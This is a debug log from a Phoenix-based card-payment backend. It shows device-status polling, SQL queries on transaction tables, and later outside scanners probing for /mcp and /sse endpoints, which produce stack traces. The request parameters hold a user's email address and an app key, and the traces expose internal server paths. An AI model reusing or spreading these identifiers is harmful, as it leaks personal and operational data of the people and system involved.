SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:30.544000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49322] Sent 200 in 35ms
[Thu Sep  3 09:05:35.632000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49328] POST /api/device/status
[Thu Sep  3 09:05:35.632000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49328] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:35.633000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49328] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:35.633000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49328] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:35.653000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49328] QUERY OK source="pos_transaction" db=19.5ms idle=1492.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:35.654000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49328] QUERY OK source="pos_temp_transaction" db=1.5ms idle=1512.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:35.659000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49328] QUERY OK source="pos_failed_transaction" db=3.5ms queue=0.4ms idle=1354.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:35.660000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49328] QUERY OK source="cloud_transaction" db=0.5ms queue=0.1ms idle=516.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:35.660000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49328] Sent 200 in 28ms
[Thu Sep  3 09:05:40.695000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42666] POST /api/device/status
[Thu Sep  3 09:05:40.696000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42666] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:40.696000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42666] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:40.696000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42666] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:40.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42666] QUERY OK source="pos_transaction" db=14.1ms idle=1551.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:40.711000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42666] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1566.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:40.715000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42666] QUERY OK source="pos_failed_transaction" db=3.8ms idle=1566.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:40.716000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42666] QUERY OK source="cloud_transaction" db=0.4ms idle=1570.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:40.717000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42666] Sent 200 in 21ms
[Thu Sep  3 09:05:45.526000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42682] POST /api/device/status
[Thu Sep  3 09:05:45.528000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42682] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:45.530000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42682] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:45.530000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42682] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:45.547000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42682] QUERY OK source="pos_transaction" db=17.1ms idle=1387.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:45.550000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42682] QUERY OK source="pos_temp_transaction" db=2.1ms idle=1404.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:45.556000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42682] QUERY OK source="pos_failed_transaction" db=3.9ms idle=1210.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:45.557000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42682] QUERY OK source="cloud_transaction" db=0.6ms idle=413.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:45.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42682] Sent 200 in 32ms
[Thu Sep  3 09:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1706.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 09:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1565.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 09:16:32.406000 2026] [Phoenix.Logger:info] [pid 2816631] [client 185.223.235.12:11296] GET /
[Thu Sep  3 09:16:32.406000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 185.223.235.12:11296] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 09:16:32.406000 2026] [Phoenix.Logger:info] [pid 2816631] [client 185.223.235.12:11296] Sent 200 in 876µs
[Thu Sep  3 09:16:32.765000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.176.31.213:5720] GET /api/mcp
[Thu Sep  3 09:16:32.776000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.176.31.213:5720] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:16:32.835000 2026] [Phoenix.Logger:info] [pid 2816631] [client 89.21.67.146:10594] GET /mcp/
[Thu Sep  3 09:16:32.851000 2026] [Plug.Debugger:debug] [pid 2816631] [client 89.21.67.146:10594] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:16:32.879000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.176.31.233:11884] GET /
[Thu Sep  3 09:16:32.879000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 193.176.31.233:11884] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 09:16:32.881000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.176.31.225:10132] GET /mcp
[Thu Sep  3 09:16:32.917000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.176.31.225:10132] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:16:32.920000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.176.31.233:11884] Sent 406 in 41ms
[Thu Sep  3 09:16:32.922000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.176.31.233:11884] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:16:33.196000 2026] [Phoenix.Logger:info] [pid 2816631] [client 185.223.235.41:11222] GET /sse
[Thu Sep  3 09:16:33.204000 2026] [Plug.Debugger:debug] [pid 2816631] [client 185.223.235.41:11222] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
